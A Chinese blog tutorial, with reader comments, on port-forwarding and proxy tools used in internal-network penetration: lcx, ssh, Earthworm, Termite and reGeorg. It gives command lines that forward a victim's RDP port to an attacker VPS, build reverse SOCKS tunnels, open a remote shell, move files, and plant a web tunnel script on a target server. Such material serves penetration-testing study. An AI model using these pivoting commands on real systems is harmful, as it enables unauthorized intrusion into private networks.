端口转发和网络代理相关工具总结
文章最后更新时间为:2019年07月17日 10:56:26
在进行内网渗透的过程中,端口转发和网络代理是肯定会用到的,基本上不同的场景需要用到不同的工具,本文简单记录一下目前比较流行的端口转发和代理工具。
阅读前需要了解:
- 端口转发和网络代理的区别
- 远程端口转发与本地转发的区别
- 正向代理和反向代理的区别
lcx
这是一款很经典的端口转发工具,只支持windows。经常被用来转发内网的3389端口。但很容易被杀软检测出来,写文章时我搜了几个自称免杀的版本,但是都没过去本地的卡巴斯基,不推荐使用。下面简单记录一下用法:
转发本地3389到公网
# 执行完后连接公网vps的5555端口就等于连接受害机的3389 # 1.公网vps执行 lcx.exe -listen 4444 5555 # 2.受害机执行 lcx.exe -slave <vps ip> 4444 127.0.0.1 3389
本地端口转发
# 受害机将本地的21端口的流量转发到本地的3389端口 # 执行完后连接受害机的21端口就相当于连接受害机的3389端口 lcx.exe -tran 21 127.0.0.1 3389
ssh
ssh可以做端口转发,详细的介绍以前写过,详细用法参考:https://saucer-man.com/operation_and_maintenance/217.html
# 动态端口转发,可用作代理
ssh -N -D local-port tunnel-host
# 本地端口转发
ssh -N -L local-port:target-host:target-port tunnel-host
# 远程端口转发
ssh -R local-port:target-host:target-port local
Earthworm
Earthworm可以用作端口转发、SOCKS代理。
项目主页:http://rootkiter.com/EarthWorm/
如官网所说,EW 是一套便携式的网络穿透工具,具有 SOCKS v5服务架设和端口转发两大核心功能,可在复杂网络环境下完成网络穿透。虽然已停止更新,但其功能已足够日常使用。
下面是其基本用法:
正向代理
./ew -s ssocksd -l 1080 # 在主机A上通过这个命令开启 1080 端口的 socks 代理 # 其作用就类似于shadowsocks +---------+ +-------------------------+ | Hacker | --> | <受害者ip>:1080--> 内网 | +---------+ +-------------------------+
- 反向SOCKS5代理
假设受害机处于内网,我们无法直接连接,那么我们直接将其作为正向代理也没用,这种情况可以使用反向代理。
# 先在一台具有公网 ip 的主机A上运行以下命令:
./ew -s rcsocks -l 1080 -e 8888
# 在目标主机B上启动 SOCKS v5 服务 并反弹到公网主机的 8888端口
./ew -s rssocks -d <vps ip> -e 8888
# 接下来可以代理A的1080端口进入B内网
+---------+ +-------------------------+
| Hacker | --> | <vps-ip>:1080--> 内网 |
+---------+ +-------------------------+
端口转发
# 基本和lcx类似 1.正向端口转发 # 接受本地1080端口的流量,转发到forward-ip的9999端口 # 实际访问本地1080端口,就相当于访问forward-ip的9999端口 ./ew -s lcx_tran -l 1080 -f <forward-ip> -g 9999
远程端口转发
首先在公网A上执行
./ew -s lcx_listen -l 1080 -e 1234
接着在内网B上执行
./ew -s lcx_slave -d
-e 1234 -f -g 3389 此时A会将1080接受到的流量转发到A的1234端口,B会接受到流量,并且转发到forward-ip的3389端口。
二级级联
1.情况一 内网B与公网A互通 +------不通--------+ | | 攻击者<------->B------->C<----->内 网 | | +------不通-------------+ # C在本地建立socks5代理,端口为1080 ./ew -s ssocksd -l 1080 # B把来自外部的1090端口的流量转到内网C这台机器的1080端口上 ./ew -s lcx_tran -l 1090 -f <c-ip> -g 1080 # 接下来以B的1090为代理即可进入内网 2.情况二 内网B没有公网ip,只能访问外网 +------不通--------+ | | 攻击者<--------B------->C<----->内 网 | | +------不通-------------+ # 攻击者首先把来自外部的1080端口的流量转到本地的1234端口上 ./ew -s lcx_listen -l 1080 -e 1234 # C在本地建立socks5代理,端口为8080 ./ew -s ssocksd -l 8080 # B远程端口转发,将来自攻击者1234端口的流量转发到C的8080端口 ./ew -s lcx_slave -d <攻击者-ip> -e 1234 -f <C-ip> -g 8080 # 此时以攻击者的1080端口为代理,可进入内网
三级级联
官网示例./ew -s rcsocks -l 1080 -e 8888 ./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999 ./ew -s lcx_listen -l 9999 -e 7777 ./ew -s rssocks -d 127.0.0.1 -e 7777 数据流向: SOCKS v5 -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
Termite
作为ew的升级版,Termite同样是一个集成端口转发和代理功能的工具。
项目主页: http://rootkiter.com/Termite/
用法copy自官网:
1. 以服务模式启动一个agent服务。
> $ ./agent -l 8888
2. 令管理端连接到agent并对agent进行管理。
> $ ./admin -c 127.0.0.1 -p 8888
3. 此时,admin端会得到一个内置的shell, 输入help指令可以得到帮助信息。
>> help
4. 通过show指令可以得到当前agent的拓扑情况。
>> show
0M
+-- 1M
由于当前拓扑中只有一个agent,所以展示结果只有 1M ,
其中1 为节点的ID号,
M为MacOS系统的简写,Linux为L,Windows简写为W。
5. 将新agent加入当前拓扑
> ./agent -c 127.0.0.1 -p 8888
6. 此时show指令将得到如下效果
0M
+-- 1M
| +-- 2M
这表明,当前拓扑中有两个节点,其中由于2节点需要通过1节点才能访问,所以下挂在1节点下方。
7. 在2节点开启socks代理,并绑定在本地端口
>> goto 2
将当前被管理节点切换为 2 号节点。
>> socks 1080
此时,本地1080 端口会启动个监听服务,而服务提供者为2号节点。
8. 在1号节点开启一个shell并绑定到本地端口
>> goto 1
>> shell 7777
此时,通过nc本地的 7777 端口,就可以得到一个 1 节点提供的 shell.
9. 将远程的文件下载至本地
>> goto 1
>> downfile 1.txt 2.txt
将1 节点,目录下的 1.txt 下载至本地,并命名为2.txt
10. 上传文件至远程节点
>> goto 2
>> upfile 2.txt 3.txt
将本地的 2.txt 上传至 2号节点的目录,并命名为3.txt
11. 端口转接
>> goto 2
>> lcxtran 3388 10.0.0.1 3389
以2号节点为跳板,将 10.0.0.1 的 3389 端口映射至本地的 3388 端口
reGeorg
reGeorg是reDuce的后继者,可创建SOCKS代理。其是基于web server创建的,可支持aspx|ashx|jsp|php
。
项目地址为:https://github.com/sensepost/reGeorg
用法大概如下:
- 1.上传脚本到web目录下面,比如http://xxx.com/tunnel.php,访问显示“Georg says, 'All seems fine'”,表示脚本运行正常
- 2.使用python脚本建立连接,reGeorgSocksProxy.py -p 1080 -u http://xxx.com/tunnel.php
此时就可以以本地1080端口为代理,进入http://xxx.com的内网。
Proxifier + proxychains
之所以将其放在一起,因为这两个都是代理客户端,proxifier是windows下的代理软件,而proxychains是基于linux平台的。
其项目地址分别为:
由于是代理客户端,所以也不需要进行复杂的配置,基本上填好代理服务器的地址和端口就好,怎么使用就没必要多介绍了。
有没有编译好的狗洞.
先来一句:sacuer-man师傅牛皮!当初因为我在打upload-labs靶场,在某谷上找WriteUp,凑巧点开师傅你写《upload-labs writeup》这篇文章(小声bb,多多感谢师傅这篇文章),从而观看-投币-收藏三连,一直在追师傅你的新文章。师傅12号新出的这篇文章,我有些使用方法问题想请教下sacuer-man师傅你,还望师傅不嫌我问的问题菜,烦请师傅解答下(捂脸)。
在lcx部分教程,师傅不是一开始说lcx仅在windows平台上运行么?还有师傅在演示的代码块开篇提到:#执行完后连接公网vps的5555端口就等于连接受害机的3389 那接下来师傅演示的用法没看明白,就是#公网vps执行 lcx -listen 4444 5555这一操作演示部分,看演示用法,猜测这个公网vps应该是某linux系统,但师傅你说的lcx只支持windows平台,怎么能运行呢?(多多疑惑) 其次,师傅你说的连接公网vps的5555端口就等于连接受害机的3389 这块-listen 4444 5555 怎么多出个4444端口?不应只监听5555端口么?这两处没明白,还请师傅指点我下。
@Ghost_Key lcx原版只支持windows,文章中说的vps代表的是windows服务器,这里写的有点模糊。(现在也有别人写的linux版本的lcs,我没用过)。
@saucerman lcx执行的时候,流量进入服务器的5555端口,就会被服务器转发到4444端口,然后再到受害者的3389端口,这里的4444相当于一个中转。
@saucerman 通过师傅的指点,俺基本明白了。在lcx将5555端口流量中转到4444端口那里,我有点问题,想再次请教师傅你,不知可否不用4444端口作为流量中转,直接将vps的5555端口流量转发到受害机的3389端口呢?[疑惑] 这里我其实还没明白师傅为何要将vps的5555端口流量中转到4444端口,之后再连接到受害机的3389端口,为何需要中转端口流量呢?请师傅再详细指点我这处疑问。(还请师傅不厌我烦,多多感谢)
@Ghost_Key 其实远程端口转发是不用4444端口做中转的,这点可以参考ssh远程端口转发。但是lcx为什么需要两个端口,这点你理解其设计思想就好了,我大概讲一下:vps执行命令后,将会创建两个socket,一个是攻击者的某个端口和vps的5555端口,一个是受害者的3389端口和vps的4444端口。同时创建一个子线程,用于4444和5555之间的数据转发,攻击者发送流量到vps的5555端口后,这个子线程将流量转发给与vps 4444端口连接的受害者。
为什么这么写,我觉得可能是因为这么写比较简单吧,如果只用一个端口(类比ssh),那么需要监听这个端口的所有新的旧的socket,将流量转发给这个socket,这个就涉及到网卡的选择部分了,所以写起来用起来比较复杂。
上面是我个人理解,水平有限,你可以看看lcx源码https://github.com/987432340/LCX/blob/master/Lcx.cpp。讨论技术不用太客气,欢迎交流指正。